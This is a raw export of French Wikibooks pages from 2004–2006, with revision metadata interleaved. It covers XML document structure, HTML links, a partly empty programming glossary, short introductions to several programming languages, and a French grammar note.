étant créé) [[Programmation|<< Retour au sommaire]] ==Glossaire de la programmation== Ce glossaire doit permettre de trouver une définition simple et concise du vocabulaire spécifiquement lié à la programmation, et plus particulièrement les termes qu'on trouve au sein de ce Wikilivre. {{Programmation Glossaire}} Programmation XML/Structure d'un document XML 701 38427 2006-03-20T11:23:24Z 163.5.255.61 /* Les entités */ {{Programmation XML}} Un document XML est fondamentalement de type '''texte''', par opposition à d'autres structures informatiques qui peuvent être de type binaire (programmes executables, base de données). Un simple éditeur de texte est donc capable de créer, d'ouvrir ou de modifier un document XML stocké sur disque. <br/> Mais un document XML n'existe pas uniquement sous forme de fichier. Il peut exister aussi temporairement en mémoire comme format de transfert de données entre deux programmes ou comme requête html POST pour transmettre un formulaire fraîchement tapé par l'internaute.<br/> Donc, le document XML est un '''format''' dont nous allons décrire la structure : ==Eléments d'un document XML== ===balisage=== Un document XML est constitué de balises. Une balise est une chaîne de caractères constituant un identificateur et placé entre un caractère &lt; et un caractère &gt;. <br/> Il existe différentes sortes de balises : *Les balises ouvrantes &lt;item&gt; *Les balises fermantes &lt;/item&gt; *Les balises vides &lt;nop/&gt; *Les instructions de traitement &lt;?xml-stylesheet ... ?&gt; *Les commentaires &lt;!-- J'explique --&gt; *Les sections CDATA <![CDATA[ Contenu de la section ]]> ====Conventions de nommage des balises==== *Les noms ne peuvent pas commencer par xml (ou Xml, ou XML...). *Les noms sont sensibles à la casse (différentiation minuscule, majuscule). *Les noms ne peuvent pas débuter par un nombre ou un signe de ponctuation. *Les noms ne peuvent pas contenir d'espaces. *Éviter les caractères accentués et les opérateurs, virgules, point-virgules.... ==== Les balises ouvrantes ==== Une balise ouvrante est un élément délimitant une section. La section se termine ensuite par une balise fermante.<br/> Une balise ouvrante est une chaîne composée de chiffres, de lettres et des caractères - et _. Cette chaîne est comprise entre un &lt; et un &gt;.<br/> Exemple : <pre> <balise> </pre> ==== Les balises fermantes ==== Une balise fermante reprend l'identificateur de la balise ouvrante, en le précédent d'un caractère "slash". Exemple <pre> </balise> </pre> ==== Les balises vides ==== Une balise "vide" est le résultat de la contraction d'une balise ouvrante et d'une balise fermante ne contenant pas de données.<br/> <pre> <div></div> donne <div/> </pre> === Les attributs === Les balises ouvrantes et les balises vides peuvent être enrichies avec des attributs. <pre> <root> <item id="67af65c75b" date="22/01/2006">Contenu de l'élément</item> <break mode="immediat"/> </root> </pre> Dans l'exemple ci-dessus, la balise ouvrante '''item''' est munie de deux attributs, '''id''' et '''date'''. La balise vide '''break''' est munie de l'attribut '''mode'''. === Les instructions de traitement === Une instruction de traitement est destinée à être lue et comprise par un programme spécifique, afin de permettre le traitement du document XML.<br/> Une instruction de traitement commence par un ?.<br/> Exemple : <pre> <?php echo date("d/m/Y") ?> </pre> [http://www.yoyodesign.org/doc/w3c/xml11/index.html#sec-pi Le point sur les instructions de traitement] === Les commentaires === Les commentaires sont des balises qui ne sont pas interprétées par l'application qui traite le document XML.<br/> Un commentaire est une balise commençant par '''&lt;!--''' et terminant par '''--&gt;'''.<br/> Exemple : <pre> <!-- Ceci est un commentaire --> </pre> === Les entités === XML 1.0 définit un petit nombre d'entités utilisables dans le document sans nécesiter de déclaration dans le doctype.<br/> Ces entités sont: <table border="1"> <tr><th>Entité</th> <th>Caractère</th> <th>Description</th></tr> <tr><td>&amp;lt;</td><td>&lt;</td><td>Symbole "inférieur"</td></tr> <tr><td>&amp;gt;</td><td>&gt;</td><td>Symbole "supérieur"</td></tr> <tr><td>&amp;amp;</td><td>&amp;</td><td>Esperluette, ET commercial</td></tr> <tr><td>&amp;apos;</td><td>&#39;</td><td>guillemet simple</td></tr> <tr><td>&amp;quot;</td><td>&quot;</td><td>guillemet double</td></tr> </table> Toujours sans déclaration de doctype spécial, on peut écrire une entité avec "&amp;", "#", une référence unicode et un ";". <table border="1"> <tr><th>Entité</th> <th>Caractère</th> <th>Description</th></tr> <tr><td>&amp;#960;</td><td>&#960;</td><td>pi</td></tr> <tr><td>&amp;#946;</td><td>&#946;</td><td>beta</td></tr> </table> Exemple <pre> <balise>Etudions la balise &amp;lt;p&amp;gt;</balise> Etudions la balise &lt;p&gt; </pre> == Structure d'un document XML == ===En-tête=== Les trois constituants de l'en-tête que nous allons décrire ne sont pas obligatoires. Ils sont employés en cas de besoin pour fixer l'encodage, définir le doctype et/ou associer une feuille de style. ====Version, encodage==== Il est souhaitable que le document XML commence par l'indication de la version du langage et le jeu de caractères utilisé. Il est également souhaitable, si le document est stocké sur disque, que l'encodage du fichier soit le même que celui mentionné par "encoding"... <pre> <?xml version="1.0"?> <!-- minimal --> <!-- ou --> <?xml version="1.0" encoding="utf-8"?> </pre> ====Référence au DTD==== La deuxième information utile est la mention du doctype. Certains documents XML en ont impérativement besoin, d'autres peuvent s'en passer. <pre> <!DOCTYPE root[ <!ELEMENT root(premier,deuxieme+)> <!ELEMENT premier(#PCDATA)> <!ELEMENT deuxieme(#PCDATA)> ]> </pre> C'est en analysant ce doctype que le parser sera en mesure de considérer le document XML comme '''valid''' (en Français: valide). ====Mention d'une feuille de style==== Il est possible d'associer un document XML à une feuille de style css ou xsl. Si la fonctionnalité fait réféchir, au début, il y a fort à parier que vous en abandonnerez la pratique par la suite. En effet, la philosophie XML va à l'opposé. <pre> <?xml-stylesheet type="text/xsl" href="../../style.xsl"?> <!-- ou --> <?xml-stylesheet type="text/css" href="../../style.css"?> </pre> ===Une seule racine=== Une balise a un statut spécial, c'est la racine du document XML. C'est à partir de cette balise que se développe l'arborescence du document. ===Régles de mises en œuvre des balises=== *Toute balise ouverte doit être fermée. *Les balises ne contenant pas de données se ferment elles-mêmes comme ceci : *Les balises doivent être correctement imbriquées. *Les balises sont imbriquables hiérarchiquement sans limitation mais il ne doit y avoir qu'un seul élément à la racine. Le corps d'un document XML est une arborescence d'éléments (balises) imbriqués, avec un élément racine unique. <pre> <root> <balise1> <balise2> </balise2> </balise1> </root> </pre> Quand toutes ces règles sont respectées, on obtient un document XML "'''bien formé'''". Dans ce cas, un navigateur comme internet-explorer ou firefox... peuvent l'ouvrir. Dans le cas contraire, le navigateur affiche un message d'erreur. Il faut signaler que XML est sensible à la casse. &lt;balise&gt; est différent de &lt;BALISE&gt; == Exemple de structure simple == <pre> <?xml version="1.0"> <root> <items> <item no="1">Premier élément</item> <item no="2">Autre chose</item> <item no="3">Troisième élément</item> </items> </root> </pre> ==Liens== [http://www.yoyodesign.org/doc/w3c/xml11/index.html Traduction française de la spécification XML1.1] Programmation Glossaire A 703 12384 2005-03-04T19:48:56Z Esope 99 mise en page [[Programmation Glossaire |<< Retour au glossaire]] = '''Al''' = *'''Algorithme''' : *'''ALU''' : = '''An''' = *'''Analyse''' : *'''Annuaire''' : = '''Ap''' = *'''API''' : *'''Application''' : = '''As''' = *'''ASCII''' : Code permettant de représenter des caractères. ASCII fonctionne sur 7 bits, soit un jeu de 128 caractères. Un huitième bit permet de représenter un autre jeu de 128 caractères, non standardisé. *'''Assembleur''' : Application permettant de transformer du code assembleur en langage machine. {{Programmation Glossaire}} Programmation Glossaire B 704 12385 2004-11-10T14:01:27Z Esope 99 suppression lien redondant vers le glossaire - réarrangement classement = '''Ba''' = *'''Balise''' : Element de structure principal de certains langages descriptifs, comme [[Programmation HTML|HTML]], [[Programmation XML|XML]] ou [[Programmation SGML|SGML]]. *'''Base de données''' : Système de stockage et de traitement des données. On distingue les bases de données hiérarchisées, les bases de données en réseau, les bases de données relationnelles (actuellement, les plus utilisées) et les bases de données orientées objet. *'''Base de numération''' : Nombre utilisé dans un mode de calcul arithmétique, comme par exemple 10 pour le calcul décimal, 2 pour le binaire, 8 pour l'octal ou 16 pour l'hexadécimal. *'''Batch''' : Traitement destiné à être exécuté automatiquement grâce à un système de temporisation (exemples : sauvegarde automatique s'exécutant toutes les nuits, mise à jour mensuelle de données) ='''Bi'''= *'''Bibliothèque''' : Collection de fonctions ou de classes réutilisables *'''Binaire''' : *'''Bit''' : *'''Bitmap''' : ='''Bo'''= *'''Bogue''' : ='''Bu'''= *'''Bug''' : ='''By'''= *'''Byte''' *'''Bytecode''' {{Programmation Glossaire}} Programmation XML/Définition de Type Document 705 30248 2006-01-25T08:34:33Z Boly38 136 +menu {{Programmation XML}} {{Programmation XML}} La '''définition de type de document''' (DTD) est un document servant à définir une structure commune pour une famille de documents XML. La définition de type de document est une des technologies les plus fondamentales de XML, puisque c'est elle qui permet de créer les ''dialectes'' XML, comme XSL ou MathML. Programmation Glossaire C 706 12387 2005-03-04T19:49:05Z Esope 99 mise en page = '''Co''' = * '''Compilateur''' : Application permettant de transformer du code d'un langage à un autre langage. Généralement, un langage de haut niveau est transformé en un langage compréhensible par un ordinateur (code machine). * '''Commentaire''' : Partie de code non pris en compte par le compilateur ou l'interpreteur. Les commentaires permettent d'ajouter des informations seulement destinés aux programmeurs. * '''Conception''' : * '''Condition''' : = '''Cp''' = * '''CPU''' : Processeur central. C'est l'organe essentiel d'un ordinateur, qui se charge des calculs. {{Programmation Glossaire}} Programmation Glossaire D 708 12389 2005-03-04T20:37:03Z Esope 99 mise en page = '''Da''' = * '''Data Mining''' : * '''Datawarehouse''' : = '''De''' = * '''Déassembleur''' : * '''Debugger''' : Application permettant de visualiser et de modifier du code machine. * '''Décimal''' : * '''Décompilateur''' : Compilateur permettant de transformer du code machine en langage évolué. Bien que l'idée soit ancienne, ce type d'application reste largement expérimental. = '''Do''' = * '''Donnée''' : {{Programmation Glossaire}} Programmation Glossaire E 709 12390 2005-03-04T20:44:16Z Esope 99 mise en page = '''Eb''' = * '''EBCDIC''' : Système de codage des caractères sur 8 bits, utilisé par les mainframes IBM. = '''Ed''' = * '''Éditeur de texte''' : Application permettant d'écrire, de modifier et de sauvegarder des codes sources, comme vi ou emacs. * '''Édition de liens''' : = '''Er''' = * '''ERP''' : = '''Ev''' = * '''Évènement''' : = '''Ex''' = * '''Expression régulière''' : {{Programmation Glossaire}} Programmation Glossaire F 710 12391 2005-03-04T20:59:30Z Esope 99 mise en page = '''Fi''' = * '''Fichier''' : Ensemble cohérent de données destiné à être stocké dans une mémoire de masse. = '''Fr''' = * '''Framework''' : {{Programmation Glossaire}} Programmation Glossaire G 711 12392 2005-03-04T21:05:11Z Esope 99 mise en page = '''Ga''' = * '''Garbage Collector''' : Programme tournant en arrière-plan de certains environnements d'execution, comme la machine virtuelle Java, et dont le rôle est de désallouer les espaces mémoires qui ne sont plus utilisés dans l'exécution du traitement. = '''Gh''' = * '''GHz''' : Symbole du Giga-hertz. Voir ''Giga-hertz''. = '''Gi''' = * '''Giga-hertz''' : Un milliard (10<sup>9</sup> Hz) de hertz. Voir ''Hertz''. * '''Giga-octet''' : Environ un milliard d'octets (1024<sup>3</sup> octets). Voir ''octet''. = '''Go''' = * '''Go''' : Symbole du Giga-octet. Voir ''Giga-octet''. {{Programmation Glossaire}} Programmation JavaScript 713 35423 2006-03-02T07:39:11Z Merrheim 1032 [[programmation| << Retour à Programmation]] {| width="100%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="lightblue" align="center" colspan="2" | <font size="+1">Programmation JavaScript</font> ''un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- bgcolor="lightyellow" valign="top" | width="20%" | {{Sous section|nom=Programmation JavaScript/Informations|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} | {{Sous section|nom=Programmation JavaScript/Sommaire|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | * [[Image:Fairytale filenew.png|24px|]] '''Pour laisser un [http://fr.wikibooks.org/w/wiki.phtml?title=Discuter:Programmation_JavaScript&action=edit&section=new message, cliquez ici.]''' * [[Image:Fairytale upload.png|24px|]] '''[[Wikilivres:Accueil|Tous les projets de Wikilivres]]''' * [[Image:Fairytale key enter-2.png|24px|]] [http://fr.wikibooks.org/w/index.php?title=Programmation_JavaScript&action=purge '''Rafraîchir la page'''] |- |} |- |} __NOEDITSECTION__ [[en:Programming:JavaScript]] Programmation JavaScript/Introduction 714 29622 2006-01-21T00:16:43Z Guillaumito 46 tentative de rectification du bordel que j'ai mis :/ {{Programmation javascript}} '''JavaScript''' est un langage de [[programmation]] utilisé principalement par les navigateurs. Il partage avec [[Programmation Java|Java]] une syntaxe inspirée du langage c, mais leurs simitudes s'arrêtent là. Il fut créé par [[w:fr:Netscape|Netscape]] sous le nom LiveScript. Javascript est aujourd'hui défini par le standard [http://www.ecma-international.org/publications/standards/Ecma-262.htm ECMA 262], connu aussi sous l'appelation ECMAScript. Ce langage est intégré directement au sein des pages Web et s'exécute sur le client Web (par opposition au serveur Web) : c'est le navigateur Web qui prend en charge l'exécution de ces petits bouts de programmes appelés scripts. Généralement, Javascript sert à faire des contrôles dans les formulaires de saisie, ou à interagir avec le document [[Programmation HTML|HTML]] via l'interface DOM (on parle alors de HTML dynamique). Il est aussi utilisé pour réaliser des services dynamiques, parfois futiles ou strictement cosmétiques. Il est souvent source de difficultés dues à des problèmes de portabilité du langage, principalement à cause de ses nombreuses versions dépendantes des éditeurs de [[w:fr:Navigateurs Web|navigateurs]]. En effet, [[w:fr:Microsoft|Microsoft]] (avec JScript dans Internet Explorer), tout comme Netscape, ont developpé leur propre variante supportant le standard ECMAScript mais possédant des fonctionnalités supplémentaires et incompatibles. Programmation HTML Liens 715 12396 2005-04-22T17:22:20Z 82.230.32.58 un peu de tout {{Programmation HTML}} ==Introduction== Un lien (également appelé « lien hypertexte », d'où [[Programmation HTML Introduction|le nom d'HTML]]) est un mot ou groupe de mots permettant, après avoir cliqué dessus, d'ouvrir un fichier. Si ce fichier est une page HTML ou un fichier texte (.txt ou autre), il s'affichera dans le navigateur à la place ou en plus de la page actuelle. S'il s'agit d'un autre type de fichiers, le navigateur demandera généralement de sélectionner une application pour ouvrir le fichier ou d'enregistrer le fichier. Il est possible que l'utilisateur ait installé un plug-in pour pouvoir lire certains types de fichiers. ''Note'' : certains formats sont devenus si courants que la plupart des navigateurs les supportent sans que l'on ne doive installer de plug-in. C'est le cas ''notamment'' des formats d'images les plus courants (.bmp, .gif, .jpg, .png, .tif, etc). Cela dépend évidemment du navigateur utilisé et surtout de sa version. Les plus récents supportent généralement aussi [[Programmation XML|XML]]. ''Note'' : certains navigateurs sont livrés avec les plug-in des formats les plus courants, comme [[Programmation Java|Java]] ou Flash. ''Note'' : l'installation de certains logiciels entraîne le support de certains types de fichiers sur certains navigateurs. C'est le cas notamment d'Adobe Reader 6.0. ==Balise== Pour créer un lien en html, on utilise les balises <code><a></code> et <code></a></code> pour encadrer le contenu du lien (qui peut être du texte, une image, etc). La balise <code><a></code> dispose de trois attributs possibles : *<code>href</code> : permet d'indiquer l'adresse du lien ; *<code>name</code> : permet de définir une ancre (voir [[#liens_ancre|Liens vers une ancre]]) ; *<code>target</code> : permet de définir la cible du lien (voir [[#liens_cible|Comment ouvrir un lien dans une nouvelle fenêtre ?]]). Exemples : <pre> <a href="http://fr.wikibooks.org">Lien vers Wikilivres</a> <a name="ancre_1"></a>Définition d'une ancre <a href="http://fr.wikipedia.org" target="_blank">Lien ouvrant Wikipédia dans une nouvelle fenêtre</a> </pre> ==Liens absolus== Un lien absolu indique l'adresse complète du fichier lié (de <code><nowiki>http://</nowiki></code> à l'extension ou à l'extension du domaine). Il est généralement utilisé pour afficher une page d'un autre site. Exemple : <pre><a href="http://fr.wikipedia.org">Une encyclopédie vraiment géniale</a></pre> ==Liens relatifs== Un lien relatif indique l'adresse du fichier '''par rapport''' à la page actuelle. Il est vivement conseillé de l'utiliser le plus souvent dans son site web, car cela permet de changer d'hébergeur sans devoir rééditer chaque lien. Si le fichier se trouve dans le même répertoire que la page courante, il suffit d'indiquer le nom du fichier (avec son extension). Si le fichier se trouve dans un sous-répertoire du répertoire contenant la page courante, il suffit d'indiquer le nom du répertoire, suivi d'une barre oblique « / » et du nom du fichier. Exemples : <pre> <a href="exemple.html">Lien vers le fichier « exemple.html » se trouvant dans le même répertoire que la page actuelle</a> <a href="repertoire_exemple/exemple.html">Lien vers le fichier « exemple.html » se trouvant dans le répertoire « repertoire_exemple » qui se trouve dans le même répertoire que la page actuelle</a> </pre> Si le fichier se trouve dans le répertoire parent du répertoire actuel, ou dans un sous-répertoire du répertoire parent, il faut « remonter » à l'aide de deux points « .. ». Exemple : <pre> <a href="../exemple.html">Lien vers le fichier « exemple.html » se trouvant dans le répertoire parent du répertoire dans lequel se trouve la page actuelle</a> </pre> ==Liens vers une ancre== <font id="liens_ancre"></font> Une ancre permet d'afficher une page web à partir d'un certain point (très utile dans les longues pages web). Ainsi, ce [[#liens_ancre|lien]] affiche le chapitre « Liens » du livre « HTML » à partir de la section « Liens vers une ancre ». Pour créer une ancre, il faut utiliser la balise <code><a></code> avec l'attribut <code>name</code>, comme ceci : <pre><a name="ancre_1"></a></pre> Il n'est pas nécessaire d'inclure du texte entre les deux balises, ni même de fermer la balise. On pourra ainsi écrire l'exemple précédent de cette façon : <pre><a name="ancre_1" /></pre> La barre oblique « / » finale signale aux auteurs familiers avec XML qu'il n'y a pas de balise de fin, et permet une transition aisée vers XHTML (voir le chapitre [[Programmation HTML XML et XHTML|XML et XHTML]]). Pour créer un lien vers une ancre, il suffit de rajouter un dièse (#) suivi du nom de l'ancre après l'adresse (absolue ou relative) de la page. Si l'ancre se trouve sur la page actuelle, il ne faut pas noter l'adresse de la page. Exemples : <pre> <a href="exemple.html#ancre_1">Lien vers l'ancre n°1 de la page "exemple.html"</a> <a href="#ancre_1">Lien vers l'ancre n°1 de la page actuelle</a> </pre> ==Comment ouvrir un lien dans une nouvelle fenêtre ?== L'attribut <code>target</code> permet de définir la cible du lien, c'est-à-dire l'endroit où sera ouvert le fichier du lien. Pour ouvrir le fichier dans une nouvelle fenêtre, assigner la valeur <code>_blank</code> à l'attribut <code>target</code>. Exemple : <pre> <a href="http://fr.wikibooks.org" target="_blank">Lien ouvrant Wikilivres dans une nouvelle fenêtre</a> </pre> ''Note'' : Les valeurs que peut prendre l'attribut target seront détaillées dans le chapitre des cadres. Programmation Eiffel 718 12399 2004-11-05T19:21:45Z Esope 99 repris de l'ancien site, repris depuis Wikipédia par Traroth, wikifié par mes soins [[Programmation|<< Retour au sommaire]] Eiffel est un langage de programmation orienté objet conçu par [[w:fr:Bertrand Meyer]]. Il implémente les principaux concepts d'un [[Programmation orientée objet|langage orienté objets]] (classes, héritage simple et multiple), ainsi que des concepts originaux, comme l'héritage de type (les types élémentaires héritent les uns des autres) et la programmation par contrat (assertion), qui est sa principale innovation. Il est toujours le seul langage implémentant en standard les concepts de programmation par contrat. Programmation Erlang 720 12401 2004-11-05T19:34:30Z Esope 99 repris de l'ancien site, repris depuis Wikipédia par Traroth [[Programmation|<< Retour au sommaire]] *[[Programmation Erlang Introduction|Introduction]] Programmation Erlang Introduction 721 12402 2004-11-05T19:40:10Z Esope 99 changement du lien "C++" en "C plus plus" [[Programmation Erlang|<< Retour à la table des matières]] Erlang, contraction d'Ericsson Language, est un langage fonctionnel temps réel distribué, qui possède des fonctionnalités de tolérance de panne, et de modification du code en temps réel pour des applications à haute disponibilité. Depuis qu'il a été mis sous licence Open Source en 1998, il est utilisé par de nombreuses compagnies de télécommunications pour leurs routeurs téléphoniques, notamment T-Mobile et Nortel. Il possède des interfaces avec d'autres langages comme [[Programmation Java|Java]] ou [[Programmation C plus plus|C++]] et de nombreuses API comme [[Programmation XML|XML]] ou OpenGL. Programmation Forth 725 12405 2004-11-05T22:17:36Z Esope 99 repris de l'ancien site, fait par Traroth [[Programmation|<< Retour au sommaire]] *[[Programmation Forth Introduction|Introduction]] Programmation Forth Introduction 726 12406 2004-11-05T22:34:36Z Esope 99 repris de l'ancien site, fait par Traroth [[Programmation Forth|<< Retour au sommaire]] Forth est un langage de programmation interactif atypique, découvert (comme il aime à le dire) par Charles H. Moore dans les années 1960. Une de ses importantes caractéristiques est l'utilisation d'une pile de données pour passer des arguments entre les mots, qui sont les constituants d'un programme Forth. Programmation Fortran 727 12407 2004-11-05T22:46:33Z Esope 99 repris de l'ancien site, fait par Traroth [[Programmation|<< Retour au sommaire]] *[[Programmation Fortran Introduction|Introduction]] Programmation Fortran Introduction 728 43035 2006-05-23T09:13:00Z 193.49.225.249 [[Programmation Fortran|<< Retour au sommaire]] '''Fortran''' (de ''FORmula TRANslation'') est un langage de programmation utilisé principalement en [[Mathématiques|mathématiques]] et dans les applications scientifiques. Apparu dans les années 50, le Fortran a pu accumuler au fil du temps de nombreuses bibliothèques de fonctions. Il était et reste un des langages les plus rapides grâce à l'existence de compilateurs performants. Toutefois, il est en passe d'être détrôné, pour les applications scientifiques, par les langages [[Programmation C|C]] et [[Programmation C plus plus|C++]]. Le Fortran ayant été crée à l'époque des cartes perforées, a longtemps gardé une certaine rigidité dans la pagination du source. Le code devait par exemple commencer à partir de la 7e colonne et ne devait pas dépasser la 72e. Cela n'a disparu qu'avec le Fortran 90. Le [[Programmation Basic|BASIC]] s'est beaucoup inspiré de sa syntaxe. Il existe des extensions libres, basées sur gcc pour compiler le Fortan 77 sous Linux. Intel fournit aussi un compilateur propriétaire gratuit pour le Fortran 90, pour l'architecture [[Programmation Assembleur x86|x86]]. Programmation Haskell 729 12409 2004-11-05T22:56:40Z Esope 99 repris de l'ancien site, fait par Traroth [[Programmation|<< Retour au sommaire]] *[[Programmation Haskell Introduction|Introduction]] Programmation Haskell Introduction 730 12410 2004-11-05T23:01:07Z Esope 99 repris de l'ancien site, fait par Traroth et wikifié par mes soins [[Programmation Haskell|<< Retour au sommaire]] '''Haskell''' est un langage de programmation fonctionnel, comme [[Programmation Lisp|Lisp]]. Son nom vient de celui du mathématicien Haskell Brooks Curry. Il a été créé en 1985. Le dernier standard semi-officiel est le Haskell 98, conçu pour définir une version minimale et portable du langage à des fins pédagogiques, et comme une base pour de futures extensions. Le langage continue d'évoluer rapidement, avec Hugs et GHC (voir ci-dessous), constituant ainsi le standard de facto. Les fonctionnalités les plus intéressantes du Haskell sont le support pour les fonctions récursives, la reconnaissance de type et sa manipulation des listes. Combinées ensembles, de telles fonctionnalités peuvent rendre l'écriture de fonctions dont l'écriture aurait été difficile dans un langage impératif presque triviale. C'est le langage fonctionnel, en 2002, sur lequel le plus de recherches sont entreprises. Plusieurs variantes ont été développées : des versions parallélisées de la part du MIT et de Glasgow, toute deux appelées Parrallel Haskell, des versions plus parallélisées et plus distribuées, appelées Distributed Haskell (anciennement Goffin) et Eden, une version d'exécution spéculative, Eager Haskell et plusieurs versions orientées objets, Haskell++, O'Haskell et Mondrian. Il existe aussi un langage similaire au Haskell qui offre un support pour la création de GUI, le Concurrent Clean. Une version éducative de Haskell appelée Gofer a été développé par Mark Jones, et a finalement été supplantée par HUGS, le Système Gofer de l'Utilisateur Haskell (Haskell User's Gofer System). Programmation Lisp 731 12411 2004-11-05T23:07:05Z Esope 99 repris de l'ancien site, fait par Traroth [[Programmation|<< Retour au sommaire]] *[[Programmation Lisp Introduction|Introduction]] Programmation Lisp Introduction 732 12412 2004-11-05T23:15:11Z Esope 99 repris de l'ancien site, fait par Traroth [[Programmation Lisp|<< Retour au sommaire]] Le Lisp (forgé à partir de l'anglais "list processing", ou bien "Lots of InSipid Parentheses" selon ses détracteurs) est un des premiers langages de programmation. Il se distingue par une syntaxe simple en notation préfixée, son typage dynamique des données, sa gestion automatique de la mémoire et sa réflexivité. Si l'on excepte le langage machine et le [[Programmation Assembleur|langage d'assemblage]] (ou plus communément "[[Programmation Assembleur|Assembleur]]"), Lisp est le deuxième langage le plus ancien (après Plankalküll de Konrad Zuse, et juste avant [[Programmation Fortran|Fortran]]) parmi les langages qui se sont largement diffusés. Lisp a beaucoup évolué depuis le début des années 60 et a ainsi donné naissance à de nombreux dialectes. Une propriété notable de Lisp est sa réflexivité. En effet, les programmes Lisp sont eux-même écrits sous la formes de données manipulables en Lisp (des listes). Il est donc facile d'écrire des programmes Lisp produisant et manipulant d'autres programmes Lisp. Nombre de dialectes de Lisp mettent à profit cette fonctionnalité dans le cadre de systèmes de macro permettant aux programmeurs d'étendre la syntaxe du langage avec une grande souplesse. Le langage Lisp fut inventé par John McCarthy en 1958 alors qu'il était au Massachusetts Institute of Technology. Il publia un article intitulé "Recursive Functions of Symbolic Expressions and Their Computation by Machine, Part I" (soit "Fonctions Récursives d'expressions symboliques et leur évaluation par une Machine , partie I") dans la revue CACM en 1960 ; la partie II ne fut jamais publiée. Le premier interpréteur fonctionnait sur un ordinateur IBM 704 et deux instructions de cette machine devinrent les deux opérations primitives de Lisp pour décomposer les listes : * car (Contents of Address register) : le premier élément de la liste * cdr (Contents of Decrement register) : le reste de la liste Dans son article, John McCarthy introduit deux syntaxes: les S-expressions (expressions symboliques, parfois appelées "sexp") et les M-expressions (meta expressions, pour exprimer les fonctions manipulant des S-expressions). Les M-expressions n'ont jamais été très appréciées et la plupart des Lisps de nos jours utilisent des S-expressions pour les programmes comme pour les données. C'est la syntaxe des S-expressions qui fait que certains reprochent à Lisp d'être "plein de parenthèses", mais c'est aussi une des sources de la puissance et de la souplesse du langage. Probablement en raison de son expressivité et de sa flexibilité, Lisp eut beaucoup de succès dans la communauté de l'intelligence artificielle. Dans les années 1970, on créa des ordinateurs spécialisés dans l'exécution de programmes Lisp : les machines Lisp. Durant les années 1980 et 1990, on fit de grands efforts pour unifier les nombreux dialectes de Lisp qui étaient apparus. Le résultat fut appelé [[Programmation Common Lisp|Common Lisp]] et en 1994, l'ANSI publia "ANSI X3.226-1994 Information Technology Programming Language Common Lisp", standardisant ainsi le langage. À ce moment, Lisp était bien moins florissant qu'à sa grande époque. Programmation ML 733 12413 2004-11-05T23:25:51Z Esope 99 repris de l'ancien site, fait par Traroth [[Programmation|<< Retour au sommaire]] *[[Programmation ML Introduction|Introduction]] Programmation ML Introduction 734 12414 2004-11-06T00:04:14Z Esope 99 correction d'un lien [[Programmation ML|<< Retour au sommaire]] ML (contraction de Meta Language) est un langage de programmation généraliste fonctionnel développé par Robin Milner et d'autres personnes dans les années 1980 à l'Université d'Edimbourg, pour le système de preuves formelles LCF. R. Milner rencontrait des difficultés avec le système de typage de LISP qui permettait de "prouver" des assertions fausses. ML est un langage fonctionnel impur, signifiant par là qu'il est possible de programmer en impératif, et que par conséquent, peut être sujet à des effets de bord, contrairement à des langages purement fonctionnels comme [[Programmation Haskell|Haskell]]. ML a été standardisé en 1983, puis révisé en 1997, le langage résultant s'appelant SML (Standard ML). Les fonctionnalités de ML incluent : * une gestion de mémoire automatique par un ramasse-miettes, * un typage statique fort et polymorphique : le transtypage (cast en [[Programmation C|C]]) est strictement interdit, ce qui supprime un grand nombre de bogues possibles. Le polymorphisme offert par le langage permet de définir précisément les types et les opérations autorisées sur les types et les structures de données. Le polymorphisme de fonction autorise les fonctions à agir sur divers types ou structures. * l'inférence de types : il n'est nullement nécessaire de déclarer les variables. Le compilateur est capable de détecter leur type de façon non ambiguë grâce au contexte d'utilisation. Cela rend le code plus succinct et améliore la lisibilité. * des type de données algébriques : on peut définir de nouvelles structures de données et les combiner de façon hiérarchique. * le pattern matching est la possibilité de décomposer un type de donnée algébrique en ses différents sous-types et de proposer un branchement pour chacun de ces sous-types. Ce processus est comparable à l'identification de type à l'exécution dans d'autres langages. Cependant, le pattern matching effectue une résolution statique, et ne pénalise pas les performances à l'éxecution. * un système de modules paramétrés (appelés structures) et d'interfaces (appelées signatures) puissant : une structure peut avoir plusieurs signatures, et vice-versa. Le paramétrage est similaire aux "templates" de [[Programmation C plus plus|C++]] ou aux "generic" d'[[Programmation Ada|Ada]] ou de [[Programmation Modula|Modula-3]], à la différence près que le typage est complètement vérifié à la compilation. * un système de gestion d'exceptions. D'autres avantages du ML sont une grande sûreté (un programme qui compile ne peut pas "planter"), une syntaxe compacte qui s'inspire de la notation mathématique, tout en restant lisible, et une rapidité d'exécution souvent comparable à [[Programmation C plus plus|C++]]. Les points forts de ML le rendent particulièrement apte à l'écriture de langages, de compilateurs et de systèmes de preuve formelle. Français/C'EST, S'EST, CES et SES 736 38872 2006-03-26T14:25:54Z 217.136.157.235 /* CES et SES */ === C'EST et S'EST === # « '''S'est''' » est employé devant un verbe pronominal. En conjuguant on peut le remplacer par « '''me''' » (me suis...), « '''te''' » (t'es...). #* Il '''s'est''' trompé de route. #*:* Je '''me''' suis trompé de route. #*:* Tu '''t''''es trompé de route. # « '''C'est''' » s'écrit dans les autres cas. #* '''C'est''' vrai. (Cela est vrai) === CES et SES === #'''Ces''' peut être remplacé par '''ce''', '''cet''' ou '''cette''' au singulier.</li> #* '''Ces''' motos sont bruyantes. #'''Ses''' peut être remplacé par '''son''' ou '''sa''' au singulier.</li> #* '''Ses''' roues sont décorées. Modèle:Programmation Glossaire 737 12416 2004-11-06T10:42:09Z Esope 99 Création du modèle {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | [[Programmation Glossaire|Glossaire]] |- | [[Programmation Glossaire A|A]] - [[Programmation Glossaire B|B]] - [[Programmation Glossaire C|C]] - [[Programmation Glossaire D|D]] - [[Programmation Glossaire E|E]] - [[Programmation Glossaire F|F]] - [[Programmation Glossaire G|G]] - [[Programmation Glossaire H|H]] - [[Programmation Glossaire I|I]] - [[Programmation Glossaire J|J]] - [[Programmation Glossaire K|K]] - [[Programmation Glossaire L|L]] - [[Programmation Glossaire M|M]] - [[Programmation Glossaire N|N]] - [[Programmation Glossaire O|O]] - [[Programmation Glossaire P|P]] - [[Programmation Glossaire Q|Q]] - [[Programmation Glossaire R|R]] - [[Programmation Glossaire S|S]] - [[Programmation Glossaire T|T]] - 